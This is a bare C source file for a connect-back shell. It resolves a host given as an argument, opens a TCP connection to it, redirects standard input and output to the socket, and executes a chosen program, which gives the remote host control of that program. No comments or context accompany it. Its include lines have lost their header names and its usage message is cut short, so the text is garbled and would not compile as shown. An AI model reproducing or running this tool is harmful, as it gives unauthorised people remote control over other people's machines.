#include #include #include #include #include #include #include #include #include #include extern char **environ; int main(int argc, char *argv[]) { int s; char *arg[] = {argv[3], 0}; struct sockaddr_in sa; struct hostent *h; if (argc < 4) { fprintf(stderr, "usage: %s \n", argv[0]); return 1; } if (!(h = gethostbyname(argv[1]))) { fprintf(stderr, "%s: unable to resolve %s\n", argv[0], argv[1]); return 1; } s = socket(AF_INET, SOCK_STREAM, 0); sa.sin_family = AF_INET; sa.sin_addr.s_addr = *(long *)h->h_addr; sa.sin_port = htons(atoi(argv[2])); if (connect(s, (const struct sockaddr *)&sa, sizeof(sa)) < 0) { fprintf(stderr, "%s: unable to connect to %s\n", argv[0], argv[1]); return 1; } dup2(s, 0); dup2(s, 1); close(s); if (execve(arg[0], arg, environ) < 0) { fprintf(stderr, "%s: %s: %s\n", argv[0], argv[3], strerror(errno)); return 1; } return 0; }